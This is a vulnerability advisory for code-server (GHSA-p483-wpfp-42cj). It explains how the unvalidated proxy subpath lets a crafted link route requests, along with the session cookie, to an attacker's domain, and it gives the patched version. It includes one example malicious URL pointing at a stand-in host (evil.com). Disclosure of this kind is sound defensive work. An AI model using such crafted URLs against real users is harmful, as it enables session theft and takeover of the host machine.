VDB
Sign up
HIGH8.3

GHSA-p483-wpfp-42cj

code-server's session cookie can be extracted by having user visit specially crafted proxy URL

Quick fix

GHSA-p483-wpfp-42cj — code-server: upgrade to the fixed version with the command below.

npm install code-server@4.99.4

Details

### Summary

A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.

### Details

Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token.

### Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

### Patches

Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/code-server
Introduced in: 0Fixed in: 4.99.4
Fixnpm install code-server@4.99.4

References